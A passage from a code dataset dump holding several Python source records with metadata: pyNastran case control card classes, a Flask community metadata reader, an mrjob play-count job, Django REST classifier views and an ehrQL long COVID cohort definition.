= value\n assert value in ['Z', 'X1', 'X2', 'X3'], 'SURFACE: %r=%r' % (word, value)\n i += 2\n else:\n raise RuntimeError(word)\n return SURFACE(data)\n\n def write(self, spaces):\n msg = spaces + str(self)\n return msg\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n msg = 'SURFACE %i' % self.data['SURFACE']\n for key, value in sorted(self.data.items()):\n if key == 'SURFACE':\n continue\n msg += ' %s %s' % (key, value)\n return msg + '\\n'\n\n\nclass CSCALE(CaseControlCard):\n \"\"\"\n CSCALE 1.3\n\n \"\"\"\n type = 'CSCALE'\n\n def __init__(self, data):\n super().__init__()\n self.data = data\n\n #def export_to_hdf5(self, hdf5_file, encoding):\n #if isinstance(self.data, list):\n #data_group = hdf5_file.create_group('data')\n #keys = []\n #values = []\n #for (key, value) in self.data:\n #keys.append(key)\n #values.append(value)\n ##print('keys = ', keys)\n ##print('values = ', values)\n #keys_bytes = [\n #key.encode(encoding) if isinstance(key, str) else key\n #for key in keys]\n #values_bytes = [\n #value.encode(encoding) if isinstance(value, str) else value\n #for value in values]\n #data_group.create_dataset('keys', data=keys_bytes)\n\n #if None in values_bytes:\n #value_group = data_group.create_group('values')\n #for i, value in enumerate(values):\n #if value is None:\n #continue\n #value_group.create_dataset(str(i), data=value)\n #else:\n #data_group.create_dataset('values', data=values_bytes)\n ##hdf5_file.create_dataset('data', data=data_bytes)\n #else:\n #raise NotImplementedError(self.data)\n\n @classmethod\n def add_from_case_control(cls, line):\n \"\"\"add method used by the CaseControl class\"\"\"\n sline = line.split()\n value = float(sline[1])\n return CSCALE(value)\n\n def write(self, spaces):\n msg = spaces + str(self)\n return msg\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n msg = 'CSCALE %s\\n' % self.value\n return msg\n\ndef export_to_hdf5_check(self, hdf5_file, encoding):\n #print(hdf5_file)\n #print('values* =', self.value)\n #print('options* =', self.options)\n\n if isinstance(self.options, list):\n options_bytes = [\n option.encode(encoding) if isinstance(option, str) else option\n for option in self.options]\n #print('optins =', options_bytes)\n hdf5_file.create_dataset('options', data=options_bytes)\n else:\n raise NotImplementedError(self.options)\n #else:\n #sub_group.create_dataset('options', data=self.options)\n\n if isinstance(self.data, list):\n data_group = hdf5_file.create_group('data')\n keys = []\n values = []\n for (key, value) in self.data:\n keys.append(key)\n values.append(value)\n #print('keys = ', keys)\n #print('values = ', values)\n keys_bytes = [\n key.encode(encoding) if isinstance(key, str) else key\n for key in keys]\n values_bytes = [\n value.encode(encoding) if isinstance(value, str) else value\n for value in values]\n data_group.create_dataset('keys', data=keys_bytes)\n data_group.create_dataset('values', data=values_bytes)\n #hdf5_file.create_dataset('data', data=data_bytes)\n else:\n raise NotImplementedError(self.data)\n\n hdf5_file.create_dataset('key', data=self.key)\n hdf5_file.create_dataset('value', data=self.value)\n #hdf5_file.create_dataset('options', data=self.options)\n #hdf5_file.create_dataset('data', data=self.data)\n\n\n#-------------------------------------------------------------------------------\n\n", "sub_path": "pyNastran/bdf/bdf_interface/subcase_cards.py", "file_name": "subcase_cards.py", "file_ext": "py", "file_size_in_byte": 42687, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyNastran.utils.dict_to_h5py._cast", "line_number": 74, "usage_type": "call"}, {"api_name": "pyNastran.utils.dict_to_h5py._cast", "line_number": 125, "usage_type": "call"}, {"api_name": "pyNastran.utils.dict_to_h5py._cast", "line_number": 265, "usage_type": "call"}, {"api_name": "pyNastran.utils.dict_to_h5py._cast", "line_number": 267, "usage_type": "call"}, {"api_name": "pyNastran.bdf.bdf_interface.subcase_utils.write_set", "line_number": 339, "usage_type": "call"}, {"api_name": "pyNastran.bdf.bdf_interface.subcase_utils.write_set", "line_number": 343, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 689, "usage_type": "name"}]} {"seq_id": "80627978", "text": "import os\nimport re\nimport errno\nimport hashlib\n\nfrom weakref import ref as weakref\nfrom werkzeug.datastructures import Headers\nfrom werkzeug.utils import cached_property\n\n\n_member_re = re.compile(r'^(\\d{4})_(.*?).txt$')\n_kv_re = re.compile(r'^(.*?)\\s*:\\s*(.*?)$')\n\n\ndef _normpath(x):\n return os.path.normpath(os.path.realpath(x))\n\n\nclass _MetaViewContainer(object):\n\n def __init__(self, metaview):\n self._metaview = weakref(metaview)\n\n @property\n def metaview(self):\n rv = self._metaview()\n if rv is not None:\n return rv\n raise AttributeError('Meta view went away')\n\n\ndef read_mime(f):\n headers = []\n h = hashlib.sha1()\n\n def _readline():\n line = f.readline()\n h.update(line)\n line = line.decode('utf-8')\n if not line.strip():\n return u''\n return line.rstrip('\\r\\n')\n\n while 1:\n line = _readline()\n if not line:\n break\n match = _kv_re.match(line)\n if match is not None:\n headers.append(match.groups())\n continue\n elif line[:1].isspace():\n old_key, old_value = headers[-1]\n headers[-1] = (old_key, old_value + u' ' + line[1:])\n else:\n raise ValueError('Invalid mime data')\n\n payload = f.read()\n h.update(payload)\n return Headers(headers), payload, h.hexdigest()\n\n\nclass Person(_MetaViewContainer):\n\n def __init__(self, metaview, path, f):\n _MetaViewContainer.__init__(self, metaview)\n self.path = _normpath(os.path.join(metaview.member_path, path))\n self.meta, payload, self.checksum = read_mime(f)\n self.description = payload.decode('utf-8').rstrip()\n\n @property\n def name(self):\n return self.meta.get('name')\n\n @property\n def twitter(self):\n return self.meta.get('twitter')\n\n @property\n def email(self):\n return self.meta.get('e-mail')\n\n def to_json(self, compact=False):\n return {\n 'num': self.num,\n 'login': self.login,\n 'name': self.name,\n 'twitter': self.twitter,\n 'email': self.email,\n 'description': self.description,\n }\n\n def __repr__(self):\n return '' % (\n self.name,\n )\n\n\nclass Member(Person):\n\n def __init__(self, metaview, path, num, login, f):\n Person.__init__(self, metaview, path, f)\n self.num = num\n self.login = login\n\n @cached_property\n def sponsor(self):\n sponsor = self.meta.get('sponsor')\n if sponsor not in (None, '', ''):\n return self.metaview.members_by_login.get(sponsor)\n\n def to_json(self, compact=False):\n if compact:\n return {'num': self.num, 'login': self.login,\n 'name': self.name}\n rv = Person.to_json(self, compact=compact)\n if self.sponsor is None:\n rv['sponsor'] = None\n else:\n rv['sponsor'] = self.sponsor.to_json(compact=True)\n return rv\n\n def __repr__(self):\n return '' % (\n self.num,\n self.login,\n )\n\n\nclass ExtensionStatus(_MetaViewContainer):\n\n def __init__(self, metaview, f):\n _MetaViewContainer.__init__(self, metaview)\n self.meta = read_mime(f)[0]\n\n @property\n def is_approved(self):\n return self.meta.get('approved') == 'yes'\n\n def to_json(self):\n return {\n 'is_approved': self.is_approved,\n }\n\n def __repr__(self):\n return '' % (\n self.meta,\n )\n\n\nclass Project(_MetaViewContainer):\n\n def __init__(self, metaview, filename):\n _MetaViewContainer.__init__(self, metaview)\n self.short_name = filename\n\n @property\n def path(self):\n return os.path.join(self.metaview.projects_path, self.short_name)\n\n @cached_property\n def meta(self):\n try:\n with open(os.path.join(self.path, 'META'), 'rb') as f:\n return read_mime(f)[0]\n except IOError as e:\n if e.errno != errno.ENOENT:\n raise\n return Headers()\n\n @property\n def name(self):\n return self.meta.get('name')\n\n @property\n def website(self):\n return self.meta.get('website')\n\n @property\n def github(self):\n return self.meta.get('github')\n\n @property\n def bugtracker(self):\n return self.meta.get('bugtracker')\n\n @property\n def documentation(self):\n return self.meta.get('documentation')\n\n @property\n def pypi(self):\n return self.meta.get('pypi')\n\n @property\n def license(self):\n return self.meta.get('license')\n\n @property\n def status(self):\n return self.meta.get('status')\n\n @cached_property\n def readme(self):\n for choice in 'README.rst', 'README.md', 'README':\n try:\n with open(os.path.join(self.path, choice), 'rb') as f:\n return f.read().decode('utf-8').rstrip()\n except IOError:\n pass\n\n @cached_property\n def extension_status(self):\n try:\n with open(os.path.join(\n self.path, 'EXTENSION_STATUS'), 'rb') as f:\n return ExtensionStatus(self.metaview, f)\n except IOError:\n pass\n\n @property\n def is_extension(self):\n return self.extension_status is not None\n\n @cached_property\n def project_lead(self):\n p = os.path.join(self.path, 'PROJECT_LEAD')\n if not os.path.exists(p):\n return\n rv = self.metaview.locate_linked_member(\n os.path.join(self.path, 'PROJECT_LEAD'))\n if rv is None:\n with open(p, 'rb') as f:\n rv = Person(self.metaview, p, f)\n return rv\n\n @cached_property\n def stewards(self):\n p = os.path.join(self.path, 'stewardship')\n try:\n files = os.listdir(p)\n except OSError:\n return ()\n rv = []\n for filename in files:\n mem = self.metaview.locate_linked_member(os.path.join(p, filename))\n if mem is not None:\n rv.append(mem)\n return tuple(rv)\n\n def to_json(self):\n return {\n 'short_name': self.short_name,\n 'name': self.name,\n 'website': self.website,\n 'github': self.github,\n 'bugtracker': self.bugtracker,\n 'documentation': self.documentation,\n 'pypi': self.pypi,\n 'license': self.license,\n 'status': self.status,\n 'readme': self.readme,\n 'extension_status': self.extension_status\n and self.extension_status.to_json() or None,\n 'is_extension': self.is_extension,\n 'project_lead': self.project_lead\n and self.project_lead.to_json(compact=True) or None,\n 'stewards': [x.to_json(compact=True) for x in self.stewards],\n }\n\n def __repr__(self):\n return '' % (\n self.short_name,\n )\n\n\ndef read_members(metaview):\n rv = []\n for filename in os.listdir(metaview.member_path):\n match = _member_re.match(filename)\n if match is None:\n continue\n if isinstance(filename, bytes):\n filename = filename.decode('utf-8')\n num, login = match.groups()\n with open(os.path.join(metaview.member_path, filename), 'rb') as f:\n rv.append(Member(metaview, filename, int(num), login, f))\n rv.sort(key=lambda x: x.num)\n return rv\n\n\ndef read_projects(metaview):\n rv = []\n for filename in os.listdir(metaview.projects_path):\n if filename[:1] == '.':\n continue\n if os.path.isdir(os.path.join(metaview.projects_path, filename)):\n rv.append(Project(metaview, filename))\n return rv\n\n\nclass MetaView(object):\n\n def __init__(self, path):\n self.path = path\n\n self.members_by_num = {}\n self.members_by_login = {}\n self.members_by_checksum = {}\n self.members_by_path = {}\n\n for mem in read_members(self):\n self.members_by_num[mem.num] = mem\n self.members_by_login[mem.login] = mem\n self.members_by_checksum[mem.checksum] = mem\n self.members_by_path[mem.path] = mem\n\n self.projects = {}\n for proj in read_projects(self):\n self.projects[proj.short_name] = proj\n\n def to_json(self):\n return {\n 'members': [x.to_json() for x in self.iter_members()],\n 'projects': [x.to_json() for x in self.iter_projects()],\n }\n\n def iter_members(self):\n return (x[1] for x in sorted(self.members_by_num.items()))\n\n def iter_projects(self):\n return self.projects.values()\n\n def locate_linked_member(self, path):\n npath = _normpath(path)\n try:\n lpath = _normpath(os.path.join(os.path.dirname(path),\n os.readlink(path)))\n rv = self.members_by_path.get(lpath)\n if rv is not None:\n return rv\n except OSError:\n pass\n\n try:\n with open(npath, 'rb') as f:\n checksum = hashlib.sha1(f.read()).hexdigest()\n return self.members_by_checksum.get(checksum)\n except IOError:\n pass\n\n @property\n def member_path(self):\n return os.path.join(self.path, 'members')\n\n @property\n def projects_path(self):\n return os.path.join(self.path, 'projects')\n\n\nif __name__ == '__main__':\n import json\n mv = MetaView(os.path.join(os.path.dirname(__file__), '..'))\n print(json.dumps(mv.to_json(), indent=2))\n", "sub_path": "tools/libmetaflask.py", "file_name": "libmetaflask.py", "file_ext": "py", "file_size_in_byte": 9790, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 16, "usage_type": "call"}, {"api_name": "weakref.ref", "line_number": 22, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 34, "usage_type": "call"}, {"api_name": "werkzeug.datastructures.Headers", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "werkzeug.utils.cached_property", "line_number": 106, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "errno.ENOENT", "line_number": 167, "usage_type": "attribute"}, {"api_name": "werkzeug.datastructures.Headers", "line_number": 169, "usage_type": "call"}, {"api_name": "werkzeug.utils.cached_property", "line_number": 161, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 207, "usage_type": "call"}, {"api_name": "os.path", "line_number": 207, "usage_type": "attribute"}, {"api_name": "werkzeug.utils.cached_property", "line_number": 203, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "werkzeug.utils.cached_property", "line_number": 212, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path", "line_number": 228, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "werkzeug.utils.cached_property", "line_number": 225, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path", "line_number": 239, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 246, "usage_type": "call"}, {"api_name": "os.path", "line_number": 246, "usage_type": "attribute"}, {"api_name": "werkzeug.utils.cached_property", "line_number": 237, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 286, "usage_type": "call"}, {"api_name": "os.path", "line_number": 286, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path", "line_number": 337, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 337, "usage_type": "call"}, {"api_name": "os.readlink", "line_number": 338, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 347, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 354, "usage_type": "call"}, {"api_name": "os.path", "line_number": 354, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 358, "usage_type": "call"}, {"api_name": "os.path", "line_number": 358, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 363, "usage_type": "call"}, {"api_name": "os.path", "line_number": 363, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 363, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 364, "usage_type": "call"}]} {"seq_id": "137984040", "text": "from mrjob.job import MRJob\n\n\nclass MyMapReduceJob(MRJob):\n\n\tdef mapper(self, _, line):\n\t\tlastfm = line.split(\"\\t\")\n\t\twaktu = lastfm[1]\n\t\tnama_lagu = lastfm[5]\n\t\tpisah = waktu.split('-')\n\t\ttahun = pisah[0]\n\t\tbulan = pisah[1]\n\t\tmonth = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n\t\tyield \"Total number of tracks played for year \" + tahun + \" is\", 1\n\n\tdef reducer(self, key, values):\n\t\tyield key, sum(values)\n\n\nif __name__ == '__main__':\n\tMyMapReduceJob.run()\n", "sub_path": "AnugrahYudhaP/songplayedbyyear.py", "file_name": "songplayedbyyear.py", "file_ext": "py", "file_size_in_byte": 537, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mrjob.job.MRJob", "line_number": 4, "usage_type": "name"}]} {"seq_id": "531550946", "text": "from app_classifier.models import Classifier, TrainVector, Label\nfrom app_classifier.serializers import ClsSerializer, VectorSerializer, LabelSerializer\nfrom django.http import Http404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass VectorList(APIView):\n\n \"\"\"\n List all Train Vectors, or create a new Train Vector.\n \"\"\"\n\n def get(self, request, cls_id, format=None):\n vectors = TrainVector.objects.all()\n serializer = VectorSerializer(vectors, many=True)\n return Response(serializer.data)\n\n def post(self, request, cls_id, format=None):\n serializer = VectorSerializer(data=request.DATA)\n if serializer.is_valid():\n client_id = serializer.data['assigned_id']\n cls_id = serializer.data['cls']\n is_exists = TrainVector.objects.filter(assigned_id=client_id, cls=cls_id).exists()\n if not is_exists:\n logging.info('Post Train: %s' %serializer)\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass LabelList(APIView):\n\n \"\"\"\n List all Labels, or create a new Label.\n \"\"\"\n\n def get(self, request, cls_id, format=None):\n lbls = Label.objects.all()\n serializer = LabelSerializer(lbls, many=True)\n return Response(serializer.data)\n\n def post(self, request, cls_id, format=None):\n serializer = LabelSerializer(data=request.DATA)\n if serializer.is_valid():\n client_id = serializer.data['assigned_id']\n cls_id = serializer.data['cls']\n is_exists = Label.objects.filter(assigned_id=client_id, cls=cls_id).exists()\n if not is_exists: \n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ClsList(APIView):\n\n \"\"\"\n List all Classifiers, or create a new Classifier.\n \"\"\"\n\n def get(self, request, format=None):\n classifiers = Classifier.objects.all()\n serializer = ClsSerializer(classifiers, many=True)\n return Response(serializer.data)\n\n def post(self, request, format=None):\n serializer = ClsSerializer(data=request.DATA)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ClsDetail(APIView):\n\n \"\"\"\n Retrieve, update or delete a Classifier Details.\n \"\"\"\n\n def get_object(self, cls_id):\n try:\n return Classifier.objects.get(pk=cls_id)\n except Classifier.DoesNotExist:\n raise Http404\n\n def get(self, request, cls_id, format=None):\n cls = self.get_object(cls_id)\n serializer = ClsSerializer(cls)\n return Response(serializer.data)\n\n def put(self, request, cls_id, format=None):\n cls = self.get_object(cls_id)\n serializer = ClsSerializer(cls, data=request.DATA)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, cls_id, format=None):\n cls = self.get_object(cls_id)\n cls.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n", "sub_path": "arccn.classifier/app_classifier/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3635, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 12, "usage_type": "name"}, {"api_name": "app_classifier.models.TrainVector.objects.all", "line_number": 19, "usage_type": "call"}, {"api_name": "app_classifier.models.TrainVector.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "app_classifier.models.TrainVector", "line_number": 19, "usage_type": "name"}, {"api_name": "app_classifier.serializers.VectorSerializer", "line_number": 20, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 21, "usage_type": "call"}, {"api_name": "app_classifier.serializers.VectorSerializer", "line_number": 24, "usage_type": "call"}, {"api_name": "app_classifier.models.TrainVector.objects.filter", "line_number": 28, "usage_type": "call"}, {"api_name": "app_classifier.models.TrainVector.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app_classifier.models.TrainVector", "line_number": 28, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 32, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 33, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 33, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 36, "usage_type": "name"}, {"api_name": "app_classifier.models.Label.objects.all", "line_number": 43, "usage_type": "call"}, {"api_name": "app_classifier.models.Label.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app_classifier.models.Label", "line_number": 43, "usage_type": "name"}, {"api_name": "app_classifier.serializers.LabelSerializer", "line_number": 44, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 45, "usage_type": "call"}, {"api_name": "app_classifier.serializers.LabelSerializer", "line_number": 48, "usage_type": "call"}, {"api_name": "app_classifier.models.Label.objects.filter", "line_number": 52, "usage_type": "call"}, {"api_name": "app_classifier.models.Label.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app_classifier.models.Label", "line_number": 52, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 55, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 56, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 56, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 56, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 59, "usage_type": "name"}, {"api_name": "app_classifier.models.Classifier.objects.all", "line_number": 66, "usage_type": "call"}, {"api_name": "app_classifier.models.Classifier.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "app_classifier.models.Classifier", "line_number": 66, "usage_type": "name"}, {"api_name": "app_classifier.serializers.ClsSerializer", "line_number": 67, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 68, "usage_type": "call"}, {"api_name": "app_classifier.serializers.ClsSerializer", "line_number": 71, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 74, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 74, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 74, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 75, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 75, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 75, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 78, "usage_type": "name"}, {"api_name": "app_classifier.models.Classifier.objects.get", "line_number": 86, "usage_type": "call"}, {"api_name": "app_classifier.models.Classifier.objects", "line_number": 86, "usage_type": "attribute"}, {"api_name": "app_classifier.models.Classifier", "line_number": 86, "usage_type": "name"}, {"api_name": "app_classifier.models.Classifier.DoesNotExist", "line_number": 87, "usage_type": "attribute"}, {"api_name": "app_classifier.models.Classifier", "line_number": 87, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 88, "usage_type": "name"}, {"api_name": "app_classifier.serializers.ClsSerializer", "line_number": 92, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 93, "usage_type": "call"}, {"api_name": "app_classifier.serializers.ClsSerializer", "line_number": 97, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 100, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 101, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 101, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 101, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 106, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 106, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 106, "usage_type": "name"}]} {"seq_id": "411049897", "text": "import datetime\nfrom databuilder.ehrql import Dataset, days, years\nfrom databuilder.tables.beta.tpp import (\n patients, addresses, ons_deaths, sgss_covid_all_tests,\n practice_registrations, clinical_events,\n)\nfrom ehrql.query_language import table_from_file, PatientFrame, Series\nfrom covariates import *\nfrom hx_covariates import *\nfrom variables import *\nfrom ehrql import minimum_of\n# import matched data\n\n@table_from_file(\"output/matched_cases_historical.csv\")\nclass matched_hx_cases(PatientFrame):\n age = Series(int)\n sex = Series(str)\n lc_exp = Series(int)\n index_date = Series(date)\n region = Series(str)\n end_death = Series(date)\n end_deregist = Series(date)\n end_lc_cure = Series(date)\n set_id = Series(int)\n lc_exposure = Series(int)\n match_counts = Series(float)\n\n\ndataset = Dataset()\ndataset.define_population(\n (age >= 18)\n & matched_hx_cases.exists_for_patient()\n)\nindex_date = matched_hx_cases.index_date\n\ndataset.age = matched_hx_cases.age\ndataset.sex = matched_hx_cases.sex\ndataset.region = matched_hx_cases.region\ndataset.lc_dx = matched_hx_cases.lc_exp\ndataset.index_date = index_date\ndataset.exposure = matched_hx_cases.lc_exposure\n\ndataset.ethnicity = (clinical_events.where(clinical_events.ctv3_code.is_in(codelists.ethnicity))\n .sort_by(clinical_events.date)\n .last_for_patient()\n .ctv3_code.to_category(codelists.ethnicity)\n)\ndataset.imd = imd\ndataset.bmi = bmi\ndataset.bmi_date = bmi_date\ndataset.cov_cancer = cancer_all.exists_for_patient()\ndataset.cov_mental_health = mental_health_issues.exists_for_patient()\ndataset.cov_asthma = clinical_ctv3_matches(clinical_events, codelists.asthma).exists_for_patient() & ~clinical_ctv3_matches(clinical_events, codelists.copd).exists_for_patient()\ndataset.cov_organ_transplant = organ_transplant.exists_for_patient()\ndataset.cov_chronic_cardiac_disease = chronic_cardiac_disease.exists_for_patient()\ndataset.cov_chronic_liver_disease = chronic_liver_disease.exists_for_patient()\ndataset.cov_stroke_dementia = stroke.exists_for_patient() | dementia.exists_for_patient()\ndataset.cov_other_neuro_diseases = other_neuro_diseases.exists_for_patient()\ndataset.cov_ra_sle_psoriasis = ra_sle_psoriasis.exists_for_patient()\ndataset.cov_asplenia = asplenia.exists_for_patient()\ndataset.cov_hiv = hiv.exists_for_patient()\ndataset.cov_aplastic_anemia = aplastic_anemia.exists_for_patient()\ndataset.cov_permanent_immune_suppress = permanent_immune_suppress.exists_for_patient()\ndataset.cov_temporary_immune_suppress = temporary_immune_suppress.exists_for_patient()\ndataset.end_death = matched_hx_cases.end_death\ndataset.end_deregist = matched_hx_cases.end_deregist\ndataset.end_lc_cure = matched_hx_cases.end_lc_cure\ndataset.end_date = minimum_of(dataset.end_death, dataset.end_deregist, dataset.end_lc_cure, study_end_date)\n\n# Outcome visit\n# Historical GP visits: 2019-3-1 to 2020-3-1\nadd_hx_gp_visits(dataset, num_months=1)\nadd_hx_gp_visits(dataset, num_months=2)\nadd_hx_gp_visits(dataset, num_months=3)\nadd_hx_gp_visits(dataset, num_months=4)\nadd_hx_gp_visits(dataset, num_months=5)\nadd_hx_gp_visits(dataset, num_months=6)\nadd_hx_gp_visits(dataset, num_months=7)\nadd_hx_gp_visits(dataset, num_months=8)\nadd_hx_gp_visits(dataset, num_months=9)\nadd_hx_gp_visits(dataset, num_months=10)\nadd_hx_gp_visits(dataset, num_months=11)\nadd_hx_gp_visits(dataset, num_months=12)\n\n\n# GP visit after long COVID\nadd_visits(dataset, dataset.index_date, num_months=1, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=2, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=3, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=4, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=5, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=6, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=7, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=8, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=9, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=10, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=11, end_date= dataset.end_date)\nadd_visits(dataset, dataset.index_date, num_months=12, end_date= dataset.end_date)\n\n\n# Hospital visits\n# Historical admissions:\nadd_hx_hos_visits(dataset, num_months=1)\nadd_hx_hos_visits(dataset, num_months=2)\nadd_hx_hos_visits(dataset, num_months=3)\nadd_hx_hos_visits(dataset, num_months=4)\nadd_hx_hos_visits(dataset, num_months=5)\nadd_hx_hos_visits(dataset, num_months=6)\nadd_hx_hos_visits(dataset, num_months=7)\nadd_hx_hos_visits(dataset, num_months=8)\nadd_hx_hos_visits(dataset, num_months=9)\nadd_hx_hos_visits(dataset, num_months=10)\nadd_hx_hos_visits(dataset, num_months=11)\nadd_hx_hos_visits(dataset, num_months=12)\n\n\n# Admission after index date:\nadd_hos_visits(dataset, dataset.index_date, num_months=1, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=2, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=3, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=4, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=5, end_date=dataset.end_date)\nadd_hos_visits(dataset, 